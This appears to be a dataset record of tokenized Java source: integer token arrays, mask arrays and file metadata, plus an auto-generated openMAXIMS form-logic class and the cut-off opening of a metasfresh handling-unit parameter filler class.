4393,
2610,
2154,
51,
6950,
100,
2491,
621,
221,
48,
332,
244,
2174,
332,
494,
4393,
2610,
2154,
51,
2226,
494,
332,
19050,
494,
45057,
494,
12752,
621,
221,
1710,
312,
222,
221,
130,
499,
221,
1350,
376,
338,
244,
17677,
14738,
4329,
3197,
24350,
376,
338,
4517,
338,
496,
772,
1802,
1233,
376,
338,
496,
772,
3129,
376,
338,
496,
5124,
6300,
376,
588,
222,
221,
942,
924,
782,
4166,
1675,
45,
671,
1802,
1233,
49,
3447,
1197,
3129,
46,
374,
221,
5124,
6300,
320,
376,
221,
991,
315,
299,
556,
2050,
45,
915,
1233,
312,
376,
221,
344,
327,
107,
51,
4678,
1177,
320,
374,
221,
620,
64,
376,
221,
130,
832,
320,
374,
221,
991,
2952,
991,
299,
315,
51,
18777,
991,
492,
374,
221,
344,
1445,
2562,
991,
51,
4678,
1177,
320,
621,
221,
2562,
991,
51,
10211,
120,
492,
374,
221,
130,
374,
221,
107,
51,
42594,
991,
492,
374,
221,
991,
8783,
315,
519,
299,
556,
37000,
45,
915,
1233,
312,
374,
221,
45704,
51,
1838,
45,
2683,
312,
374,
221,
45704,
51,
9327,
492,
374,
221,
45704,
51,
2698,
492,
376,
221,
130,
222,
221,
130,
499,
221,
1350,
376,
338,
244,
17677,
14738,
4329,
20139,
376,
338,
4517,
338,
496,
772,
1802,
1233,
376,
338,
496,
772,
32118,
376,
588,
222,
221,
942,
924,
782,
4166,
1675,
45,
671,
1802,
1233,
49,
16761,
32118,
46,
320,
1332,
221,
344,
327,
12410,
630,
762,
1293,
1802,
1233,
630,
762,
1293,
34946,
3591,
45,
915,
1233,
509,
320,
374,
221,
620,
64,
376,
221,
130,
1332,
221,
991,
315,
299,
556,
2050,
45,
915,
1233,
312,
376,
221,
344,
327,
107,
51,
4678,
1177,
320,
374,
221,
620,
64,
376,
221,
130,
832,
320,
374,
221,
1287,
320,
621,
221,
991,
2952,
991,
299,
315,
51,
18777,
991,
492,
621,
221,
344,
1445,
2562,
991,
51,
4678,
1177,
320,
596,
221,
2562,
991,
51,
10211,
120,
492,
621,
221,
130,
621,
221,
107,
51,
42594,
991,
492,
621,
221,
991,
8783,
315,
519,
64,
621,
221,
45704,
299,
556,
37000,
45,
107,
312,
621,
221,
12410,
51,
12456,
45,
9384,
51,
22489,
2222,
51,
17185,
49,
244,
54,
53,
53,
49,
315,
519,
312,
621,
221,
45704,
51,
2698,
492,
374,
221,
130,
2385,
327,
27322,
503,
46,
320,
621,
221,
107,
51,
2577,
492,
621,
221,
106,
51,
9428,
492,
374,
221,
130,
2385,
327,
6860,
503,
46,
320,
621,
221,
106,
51,
9428,
492,
621,
221,
107,
51,
2577,
492,
374,
221,
130,
376,
221,
130,
222,
221,
130,
499,
221,
2072,
924,
782,
4166,
1675,
1103,
5155,
45,
671,
45057,
49,
4594,
2775,
3100,
2775,
46,
320,
376,
221,
671,
5576,
299,
762,
64,
376,
221,
344,
327,
1234,
1811,
5155,
1103,
9856,
2226,
45,
1219,
2775,
49,
45057,
566,
23061,
3485,
1177,
320,
374,
221,
2622,
299,
332,
1896,
332,
494,
4393,
2610,
2154,
51,
6950,
100,
2491,
494,
332,
758,
332,
596,
221,
48,
4393,
2610,
2154,
51,
14875,
494,
332,
19050,
596,
221,
48,
327,
909,
2833,
941,
11960,
1177,
494,
5343,
2174,
332,
596,
221,
48,
4393,
2610,
2154,
51,
2226,
494,
332,
19050,
494,
45057,
494,
5343,
884,
376,
221,
130,
832,
320,
374,
221,
2622,
299,
332,
3233,
2012,
332,
494,
4393,
2610,
2154,
51,
6950,
100,
2491,
494,
31019,
596,
221,
48,
4393,
2610,
2154,
51,
2226,
494,
17708,
494,
4393,
2610,
2154,
51,
14875,
596,
221,
48,
17708,
494,
4393,
2610,
2154,
51,
85,
4392,
100,
4812,
494,
7816,
2102,
33082,
596,
221,
48,
45057,
494,
332,
35283,
494,
327,
909,
2833,
941,
11960,
1177,
494,
17708,
494,
17102,
1552,
596,
221,
48,
34305,
376,
221,
130,
376,
221,
1219,
2775,
51,
2663,
3566,
45,
2622,
312,
222,
221,
130,
499,
221,
1350,
376,
338,
34399,
3197,
24350,
18779,
14738,
376,
338,
4517,
338,
496,
772,
1802,
1233,
376,
338,
496,
620,
376,
588,
222,
221,
942,
924,
16761,
44066,
1811,
3340,
45,
671,
1802,
1233,
46,
320,
376,
221,
991,
822,
299,
556,
2050,
45,
915,
1233,
312,
376,
221,
344,
327,
781,
51,
4678,
1177,
320,
374,
221,
9384,
15601,
299,
16761,
2232,
51,
5480,
991,
45,
915,
1233,
312,
374,
221,
781,
51,
489,
46179,
45,
1615,
51,
17217,
1052,
374,
221,
620,
15601,
64,
376,
221,
130,
376,
221,
620,
762,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
34399,
25803,
6162,
3011,
11742,
6162,
376,
338,
4517,
338,
496,
772,
1802,
1233,
376,
588,
222,
221,
2072,
924,
782,
3081,
1675,
1811,
3340,
45,
671,
1802,
1233,
46,
320,
376,
221,
991,
822,
299,
556,
2050,
45,
915,
1233,
312,
376,
221,
344,
327,
781,
51,
4678,
1177,
320,
374,
221,
781,
51,
2577,
492,
376,
221,
130,
222,
221,
130,
499,
221,
1350,
376,
338,
34399,
25803,
16269,
8914,
9828,
35548,
18779,
23428,
18557,
7071,
14738,
376,
338,
4517,
338,
496,
620,
376,
338,
496,
772,
1802,
1233,
376,
338,
1485,
244,
25803,
20139,
15902,
376,
338,
496,
772,
4838,
2226,
376,
338,
1485,
31391,
158,
5435,
28674,
11299,
15902,
376,
338,
496,
772,
3325,
376,
338,
1485,
244,
25185,
4857,
28674,
11474,
7596,
25671,
376,
338,
496,
5124,
6300,
376,
588,
222,
221,
942,
924,
16761,
2480,
24330,
1675,
45,
3242,
910,
1802,
1233,
49,
374,
221,
3242,
910,
4838,
2226,
49,
1175,
4594,
2775,
3100,
2775,
49,
374,
221,
3242,
4393,
3309,
3325,
49,
1175,
1922,
342,
46,
320,
376,
221,
325,
16725,
23338,
24238,
20139,
3011,
1140,
8987,
8763,
9384,
9347,
376,
221,
344,
327,
915,
2610,
51,
15927,
45,
1296,
2226,
509,
320,
374,
221,
14993,
3580,
4141,
299,
1802,
2610,
51,
390,
45,
1296,
2226,
312,
374,
221,
9384,
15601,
299,
327,
9384,
46,
4141,
51,
390,
492,
374,
221,
344,
327,
16108,
882,
762,
46,
320,
621,
221,
620,
15601,
64,
374,
221,
130,
376,
221,
130,
376,
221,
325,
244,
20059,
23338,
24238,
20139,
11127,
376,
221,
9384,
15601,
299,
762,
64,
376,
221,
325,
30266,
17662,
24261,
16108,
376,
221,
16108,
299,
44066,
1811,
2015,
45,
915,
1233,
49,
4838,
2226,
49,
3100,
2775,
19219,
34399,
25803,
18779,
376,
221,
344,
327,
16108,
882,
762,
46,
320,
374,
221,
620,
15601,
64,
376,
221,
130,
832,
320,
374,
221,
325,
34399,
9193,
4518,
18779,
374,
221,
3242,
15210,
4908,
299,
556,
15210,
365,
320,
621,
221,
69,
1806,
621,
221,
942,
782,
2902,
1193,
45,
1193,
3141,
46,
320,
596,
221,
344,
327,
2093,
51,
2085,
882,
762,
46,
320,
1397,
221,
9384,
15601,
299,
327,
9384,
46,
3141,
51,
2085,
64,
1397,
221,
4399,
51,
963,
1675,
45,
16108,
49,
1802,
1233,
312,
596,
221,
130,
621,
221,
130,
374,
221,
1274,
374,
221,
17695,
40431,
299,
556,
18662,
365,
320,
621,
221,
69,
1806,
621,
221,
942,
782,
1441,
365,
320,
596,
221,
1287,
320,
1397,
221,
2427,
2001,
299,
556,
3846,
45,
1296,
2226,
312,
1397,
221,
29538,
4580,
299,
2001,
51,
1693,
2815,
492,
1397,
221,
3795,
51,
489,
6767,
4291,
45,
58,
53,
53,
53,
312,
1397,
221,
3795,
51,
489,
2248,
4291,
45,
58,
53,
53,
53,
312,
1397,
221,
3795,
51,
3532,
492,
1397,
221,
6989,
347,
299,
4580,
51,
42810,
492,
1397,
221,
9384,
2232,
51,
2045,
2089,
299,
556,
11027,
492,
1397,
221,
2200,
51,
285,
5209,
1269,
299,
244,
54,
64,
1397,
221,
9384,
15601,
299,
16761,
2232,
51,
5480,
1880,
45,
285,
49,
2904,
221,
909,
11015,
45,
53,
49,
244,
53,
49,
244,
53,
49,
244,
53,
490,
2089,
312,
1397,
221,
915,
2610,
51,
543,
45,
1296,
2226,
49,
556,
28437,
3580,
45,
16108,
894,
14121,
221,
1193,
3141,
299,
4908,
51,
38621,
1193,
492,
1397,
221,
2093,
51,
2085,
299,
15601,
64,
1397,
221,
4543,
51,
19693,
45,
2093,
312,
1397,
221,
344,
327,
16108,
882,
762,
46,
320,
1504,
221,
325,
244,
17677,
6162,
4329,
2728,
24350,
1504,
221,
2882,
1675,
45,
915,
1233,
49,
15601,
312,
1504,
221,
325,
244,
17677,
4329,
17662,
1504,
221,
2882,
1675,
1103,
5155,
45,
1296,
2226,
49,
3100,
2775,
312,
1397,
221,
130,
596,
221,
130,
2385,
327,
36265,
45817,
503,
46,
320,
1397,
221,
106,
51,
9428,
492,
1397,
221,
1353,
51,
106,
45,
1675,
1747,
51,
842,
51,
5175,
1046,
332,
14738,
983,
32506,
742,
596,
221,
130,
2385,
327,
6860,
503,
46,
320,
1397,
221,
106,
51,
9428,
492,
596,
221,
130,
621,
221,
130,
374,
221,
1274,
374,
221,
19370,
1590,
51,
7432,
941,
688,
2265,
45,
1967,
9382,
312,
376,
221,
130,
376,
221,
620,
762,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
19152,
58,
376,
338,
4517,
338,
496,
772,
4380,
671,
376,
338,
496,
620,
376,
588,
222,
221,
2072,
924,
910,
8745,
58,
45,
671,
4380,
671,
46,
320,
376,
221,
620,
19152,
58,
51,
4458,
45,
772,
671,
312,
222,
221,
130,
499,
221,
325,
34400,
30983,
222,
221,
325,
244,
10770,
15107,
7596,
499,
221,
942,
2586,
4393,
3309,
320,
376,
221,
942,
782,
2480,
1675,
45,
9384,
15601,
49,
910,
1802,
1233,
312,
222,
221,
130,
499,
221,
1350,
376,
338,
40924,
8218,
24978,
13220,
3052,
5012,
6975,
14738,
1096,
6904,
3616,
49,
6216,
4597,
5029,
16095,
49,
26093,
8125,
18404,
4830,
20139,
376,
338,
4517,
338,
496,
772,
1637,
376,
588,
222,
221,
942,
924,
782,
1524,
2610,
45,
3242,
7063,
1637,
46,
320,
376,
221,
909,
7806,
365,
320,
374,
221,
942,
782,
1441,
365,
320,
621,
221,
429,
1621,
299,
244,
53,
15345,
244,
17365,
18404,
7839,
14009,
244,
53,
3397,
8605,
9417,
18404,
7839,
49,
244,
54,
3397,
9100,
18404,
48159,
2728,
24350,
49,
244,
55,
3397,
9100,
18404,
48159,
515,
10425,
1737,
56,
2904,
221,
325,
29320,
8605,
18404,
48159,
621,
221,
671,
3337,
88,
299,
332,
53,
82,
884,
621,
221,
671,
3337,
73,
299,
332,
53,
82,
884,
621,
221,
991,
16726,
2610,
299,
556,
2050,
45,
390,
8392,
2610,
2995,
45,
1834,
894,
453,
16726,
24350,
39,
18596,
52,
2728,
2310,
52,
4048,
52,
624,
52,
4999,
51,
106,
15636,
51,
745,
52,
2630,
26217,
621,
221,
991,
3337,
2995,
299,
1637,
51,
48135,
2995,
492,
453,
244,
28184,
624,
52,
624,
52,
527,
51,
114,
838,
5177,
122,
51,
745,
52,
2630,
621,
221,
1287,
320,
596,
221,
344,
327,
2728,
2610,
882,
762,
979,
16726,
2610,
51,
4678,
1177,
320,
1397,
221,
3239,
16726,
31359,
299,
640,
31359,
45,
2728,
2610,
312,
1397,
221,
344,
327,
2728,
31359,
868,
244,
54,
53,
55,
57,
338,
244,
54,
53,
55,
57,
338,
244,
58,
53,
46,
320,
1504,
221,
325,
18894,
8092,
18404,
4830,
1504,
221,
3239,
4250,
31359,
299,
4250,
45,
2728,
2610,
312,
1504,
221,
1311,
1475,
244,
54,
64,
1504,
221,
2630,
88,
299,
4250,
31359,
494,
5127,
1397,
221,
130,
596,
221,
130,
596,
221,
344,
327,
47661,
882,
762,
979,
3337,
2995,
51,
4678,
1177,
320,
1397,
221,
3239,
3337,
31359,
299,
640,
31359,
45,
47661,
312,
1397,
221,
344,
327,
2630,
31359,
868,
244,
54,
53,
55,
57,
338,
244,
54,
53,
55,
57,
338,
244,
58,
53,
46,
320,
1504,
221,
325,
24354,
8092,
18404,
4830,
1504,
221,
3239,
4250,
31359,
299,
4250,
45,
47661,
312,
1504,
221,
1311,
1475,
244,
55,
64,
1504,
221,
2630,
73,
299,
4250,
31359,
494,
5127,
1397,
221,
130,
596,
221,
130,
621,
221,
130,
2385,
327,
1002,
503,
46,
320,
596,
221,
106,
51,
9428,
492,
621,
221,
130,
374,
221,
1274,
376,
221,
4037,
1384,
492,
222,
221,
130,
499,
221,
1350,
376,
338,
41930,
251,
7839,
15902,
376,
338,
4517,
338,
496,
772,
3337,
2995,
376,
338,
496,
620,
376,
588,
222,
221,
942,
924,
1964,
4250,
45,
991,
3337,
2995,
46,
320,
376,
221,
3239,
4250,
31359,
299,
244,
53,
64,
376,
221,
991,
1197,
2293,
299,
3337,
2995,
51,
687,
3852,
492,
376,
221,
344,
327,
2558,
630,
762,
46,
374,
221,
620,
244,
53,
64,
376,
221,
999,
327,
991,
315,
518,
2293,
46,
320,
374,
221,
344,
327,
107,
51,
41746,
1177,
320,
621,
221,
344,
327,
1615,
51,
17217,
365,
449,
315,
51,
48470,
365,
868,
48613,
4812,
46,
320,
596,
221,
3239,
47035,
299,
315,
51,
1340,
492,
596,
221,
344,
327,
107,
51,
2577,
1177,
320,
1397,
221,
3830,
31359,
1475,
47035,
64,
596,
221,
130,
621,
221,
130,
374,
221,
130,
832,
320,
621,
221,
3830,
45,
107,
312,
374,
221,
130,
376,
221,
130,
376,
221,
620,
4250,
31359,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
244,
22586,
6162,
21900,
376,
338,
4517,
338,
496,
772,
315,
376,
338,
496,
620,
376,
338,
496,
5124,
3284,
376,
588,
222,
221,
942,
924,
1964,
640,
31359,
45,
991,
315,
46,
2589,
3284,
320,
376,
221,
3239,
1354,
299,
244,
53,
64,
376,
221,
991,
315,
687,
1197,
299,
315,
51,
687,
3852,
492,
376,
221,
999,
327,
429,
613,
299,
244,
53,
64,
613,
350,
315,
687,
51,
1340,
64,
613,
2002,
320,
374,
221,
344,
327,
107,
687,
96,
110,
1015,
30815,
1177,
320,
621,
221,
911,
299,
1354,
494,
640,
31359,
45,
107,
687,
96,
110,
2004,
374,
221,
130,
832,
320,
621,
221,
911,
299,
1354,
494,
315,
687,
96,
110,
1015,
1340,
492,
374,
221,
130,
376,
221,
130,
376,
221,
620,
1354,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
244,
21283,
6162,
21900,
376,
338,
4517,
338,
496,
772,
822,
88,
376,
338,
496,
620,
376,
588,
222,
221,
942,
924,
910,
2643,
2580,
31359,
45,
3239,
822,
88,
46,
320,
376,
221,
7701,
2222,
5247,
299,
556,
23501,
2222,
4139,
51,
53,
53,
742,
376,
221,
671,
47035,
671,
299,
5127,
376,
221,
344,
327,
781,
88,
350,
244,
54,
53,
55,
57,
46,
320,
374,
221,
781,
1269,
671,
299,
5247,
51,
1664,
1181,
2640,
46,
822,
88,
46,
494,
332,
71,
884,
376,
221,
130,
832,
434,
327,
781,
88,
350,
244,
54,
53,
57,
61,
58,
60,
59,
46,
320,
374,
221,
781,
1269,
671,
299,
5247,
51,
1664,
1181,
2640,
46,
822,
88,
536,
244,
54,
53,
55,
57,
46,
494,
332,
80,
884,
376,
221,
130,
832,
434,
327,
781,
88,
350,
244,
54,
53,
60,
56,
60,
57,
54,
61,
55,
57,
46,
320,
374,
221,
781,
1269,
671,
299,
5247,
51,
1664,
1181,
2640,
46,
822,
88,
536,
244,
54,
53,
57,
61,
58,
60,
59,
46,
494,
332,
82,
884,
376,
221,
130,
832,
320,
374,
221,
781,
1269,
671,
299,
5247,
51,
1664,
1181,
2640,
46,
822,
88,
536,
244,
54,
53,
60,
56,
60,
57,
54,
61,
55,
57,
46,
494,
332,
76,
884,
376,
221,
130,
376,
221,
620,
47035,
671,
64,
222,
221,
130,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 3,835
| true
| 63.212696
| true
| true
|
BaseLogic.java
|
/FileExtraction/Java_unseen/IMS-MAXIMS_openMAXIMS/Source Library/openmaxims_workspace-archive/Clinical/src/ims/clinical/forms/searchgraphicalassessment/BaseLogic.java
|
//#############################################################################
//# #
//# Copyright (C) <2014> <IMS MAXIMS> #
//# #
//# This program is free software: you can redistribute it and/or modify #
//# it under the terms of the GNU Affero General Public License as #
//# published by the Free Software Foundation, either version 3 of the #
//# License, or (at your option) any later version. #
//# #
//# This program is distributed in the hope that it will be useful, #
//# but WITHOUT ANY WARRANTY; without even the implied warranty of #
//# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
//# GNU Affero General Public License for more details. #
//# #
//# You should have received a copy of the GNU Affero General Public License #
//# along with this program. If not, see <http://www.gnu.org/licenses/>. #
//# #
//#############################################################################
//#EOH
// This code was generated by Barbara Worwood using IMS Development Environment (version 1.80 build 5007.25751)
// Copyright (C) 1995-2014 IMS MAXIMS. All rights reserved.
// WARNING: DO NOT MODIFY the content of this file
package ims.clinical.forms.searchgraphicalassessment;
public abstract class BaseLogic extends Handlers
{
private java.util.ArrayList lookupUsageErrors;
public final Class getDomainInterface() throws ClassNotFoundException
{
return ims.clinical.domain.SearchGraphicalAssessment.class;
}
public final void setContext(ims.framework.UIEngine engine, GenForm form, ims.clinical.domain.SearchGraphicalAssessment domain)
{
setContext(engine, form);
this.domain = domain;
if(domain.getLookupService().countLookupInstances(ims.core.vo.lookups.SpecialtyCollection.class, ims.core.vo.lookups.Specialty.class, 621, false) == 0)
{
if(lookupUsageErrors == null)
lookupUsageErrors = new java.util.ArrayList();
lookupUsageErrors.add("The lookup type 'Specialty' (ID: 1021005) must have at least one instance configured.");
}
}
public final String[] getLookupUsageErrors()
{
if(lookupUsageErrors == null)
return null;
String[] errors = new String[lookupUsageErrors.size()];
for(int x = 0; x < lookupUsageErrors.size(); x++)
{
errors[x] = (String)lookupUsageErrors.get(x);
}
return errors;
}
public final void free()
{
super.free();
domain = null;
}
protected ims.clinical.domain.SearchGraphicalAssessment domain;
}
| 2,932
|
Java
|
.java
|
IMS-MAXIMS/openMAXIMS
| 61
| 50
| 23
|
2014-06-12T12:04:02Z
|
2020-07-31T09:34:49Z
|
7caa4718dd7fba2bee16b75ee7b2d8c92b498a1f8f64ab31e07ff0eca0acc6a3
|
[
325,
19989,
8689,
222,
16802,
42053,
607,
222,
16802,
244,
2657,
327,
72,
46,
350,
55,
53,
54,
57,
67,
244,
350,
2348,
88,
7490,
2348,
88,
67,
22768,
607,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
281,
607,
222,
16802,
244,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
2281,
607,
222,
16802,
244,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
981,
607,
222,
16802,
244,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
10094,
607,
244,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
2052,
607,
222,
16802,
244,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
2281,
607,
222,
16802,
244,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
1485,
607,
222,
16802,
244,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
7223,
607,
222,
16802,
42053,
607,
222,
16802,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
607,
222,
16802,
244,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
283,
607,
222,
16802,
42053,
607,
222,
325,
19989,
8689,
222,
16802,
10207,
77,
222,
325,
1369,
1361,
1616,
4741,
829,
11489,
39305,
643,
290,
21100,
1493,
457,
2758,
15606,
10584,
327,
1687,
244,
54,
51,
61,
53,
1984,
244,
58,
53,
53,
60,
51,
55,
58,
60,
58,
54,
46,
222,
325,
2657,
327,
72,
46,
244,
54,
62,
62,
58,
50,
55,
53,
54,
57,
457,
2758,
7490,
2348,
88,
51,
3381,
4760,
5225,
51,
222,
325,
18226,
63,
4103,
2387,
24110,
341,
1813,
451,
477,
822,
222,
222,
1337,
3987,
120,
51,
27764,
1599,
51,
8543,
51,
1925,
42318,
31250,
64,
222,
222,
942,
5560,
462,
3787,
12281,
2041,
17414,
6669,
222,
128,
222,
221,
2072,
1401,
51,
1058,
51,
7119,
11478,
6786,
7362,
64,
499,
221,
942,
1175,
1727,
640,
5048,
3058,
365,
2589,
1727,
9941,
222,
221,
128,
376,
221,
620,
3987,
120,
51,
27764,
1599,
51,
4136,
51,
3209,
3418,
1599,
23419,
51,
842,
64,
222,
221,
130,
222,
221,
942,
1175,
782,
758,
1237,
45,
16178,
51,
2863,
51,
2299,
3726,
6894,
49,
9928,
1260,
2252,
49,
3987,
120,
51,
27764,
1599,
51,
4136,
51,
3209,
3418,
1599,
23419,
5900,
46,
222,
221,
128,
376,
221,
489,
1237,
45,
3502,
49,
2252,
312,
376,
221,
597,
51,
4136,
299,
5900,
64,
376,
221,
344,
45,
4136,
51,
390,
10138,
1201,
941,
1016,
10138,
8354,
45,
16178,
51,
1284,
51,
2103,
51,
6436,
9026,
51,
11506,
637,
2272,
51,
842,
49,
3987,
120,
51,
1284,
51,
2103,
51,
6436,
9026,
51,
11506,
637,
51,
842,
49,
244,
59,
55,
54,
49,
920,
46,
630,
244,
53,
46,
376,
221,
128,
374,
221,
344,
45,
10124,
6786,
7362,
630,
762,
46,
621,
221,
10124,
6786,
7362,
299,
556,
1401,
51,
1058,
51,
7119,
492,
374,
221,
10124,
6786,
7362,
51,
688,
459,
1338,
11478,
847,
349,
11506,
637,
44,
327,
798,
63,
244,
54,
53,
55,
54,
53,
53,
58,
46,
2315,
1178,
840,
6247,
1611,
1998,
9576,
5377,
376,
221,
130,
222,
221,
130,
222,
221,
942,
1175,
910,
1197,
640,
10138,
6786,
7362,
365,
222,
221,
128,
376,
221,
344,
45,
10124,
6786,
7362,
630,
762,
46,
374,
221,
620,
762,
64,
376,
221,
671,
1197,
3896,
299,
556,
910,
96,
10124,
6786,
7362,
51,
911,
22061,
376,
221,
999,
45,
429,
837,
299,
244,
53,
64,
837,
350,
11478,
6786,
7362,
51,
911,
492,
837,
2002,
376,
221,
128,
374,
221,
4312,
96,
125,
98,
299,
327,
671,
46,
10124,
6786,
7362,
51,
390,
45,
125,
312,
376,
221,
130,
376,
221,
620,
3896,
64,
222,
221,
130,
222,
221,
942,
1175,
782,
3760,
365,
222,
221,
128,
376,
221,
5282,
51,
4010,
492,
376,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 700
| true
| 54.979536
| true
| true
|
WebuiHUTransformParametersFiller.java
|
/FileExtraction/Java_unseen/metasfresh_metasfresh-webui-api-legacy/src/main/java/de/metas/ui/web/handlingunits/process/WebuiHUTransformParametersFiller.java
|
package de.metas.ui.web.handlingunits.process;
import java.util.Collection;
import java.util.Comparator;
import java.util.HashSet;
import java.util.List;
import java.util.Optional;
import java.util.Set;
import javax.annotation.Nullable;
import de.metas.handlingunits.model.I_M_HU_PI_Item_Product;
import org.adempiere.ad.service.IADReferenceDAO;
import org.adempiere.ad.service.IADReferenceDAO.ADRefListItem;
import org.compiere.model.I_AD_Process_Para;
import org.compiere.util.DisplayType;
import org.compiere.util.Env;
import de.metas.bpartner.BPartnerId;
import de.metas.handlingunits.HuId;
import de.metas.handlingunits.IHandlingUnitsBL;
import de.metas.handlingunits.IHandlingUnitsDAO;
import de.metas.handlingunits.allocation.transfer.HUTransformService;
import de.metas.handlingunits.model.I_M_HU;
import de.metas.handlingunits.model.I_M_HU_PI_Item;
import de.metas.handlingunits.model.I_M_HU_PI_Version;
import de.metas.handlingunits.model.X_M_HU;
import de.metas.printing.esb.base.util.Check;
import de.metas.process.AdProcessId;
import de.metas.process.IADProcessDAO;
import de.metas.process.IProcessDefaultParametersProvider;
import de.metas.product.ProductId;
import de.metas.ui.web.handlingunits.HUEditorRow;
import de.metas.ui.web.handlingunits.HUEditorRowFilter;
import de.metas.ui.web.handlingunits.HUEditorRowFilter.Select;
import de.metas.ui.web.handlingunits.HUEditorView;
import de.metas.ui.web.handlingunits.process.WebuiHUTransformCommand.ActionType;
import de.metas.ui.web.handlingunits.util.WEBUI_ProcessHelper;
import de.metas.ui.web.window.datatypes.LookupValue.IntegerLookupValue;
import de.metas.ui.web.window.datatypes.LookupValue.StringLookupValue;
import de.metas.ui.web.window.datatypes.LookupValuesList;
import de.metas.ui.web.window.descriptor.LookupDescriptor;
import de.metas.ui.web.window.descriptor.sql.SqlLookupDescriptor;
import de.metas.ui.web.window.model.lookup.LookupDataSource;
import de.metas.ui.web.window.model.lookup.LookupDataSourceContext;
import de.metas.ui.web.window.model.lookup.LookupDataSourceFactory;
import de.metas.util.Services;
import lombok.Builder;
import lombok.NonNull;
/*
* #%L
* metasfresh-webui-api
* %%
* Copyright (C) 2017 metas GmbH
* %%
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public
* License along with this program. If not, see
* <http://www.gnu.org/licenses/gpl-2.0.html>.
* #L%
*/
/**
* Helper class used to fill {@link WebuiHUTransformParameters} (default values, lookups etc).
*
* @author metas-dev <[email protected]>
*/
public class WebuiHUTransformParametersFiller
{
// services
private final transient IADReferenceDAO adReferenceDAO = Services.get(IADReferenceDAO.class);
private final transient IHandlingUnitsDAO handlingUnitsDAO = Services.get(IHandlingUnitsDAO.class);
private final transient IHandlingUnitsBL handlingUnitsBL = Services.get(IHandlingUnitsBL.class);
// Context
private final HUEditorView _view;
private final HUEditorRow _selectedRow;
private final ActionType _actionType;
private final boolean _checkExistingHUsInsideView;
@Builder
private WebuiHUTransformParametersFiller(@NonNull final HUEditorView view,
@NonNull final HUEditorRow selectedRow,
@Nullable final ActionType actionType,
final boolean checkExistingHUsInsideView)
{
this._view = view;
this._selectedRow = selectedRow;
this._actionType = actionType;
this._checkExistingHUsInsideView = checkExistingHUsInsideView;
}
private HUEditorView getView()
{
return _view;
}
private HUEditorRow getSelectedRow()
{
return _selectedRow;
}
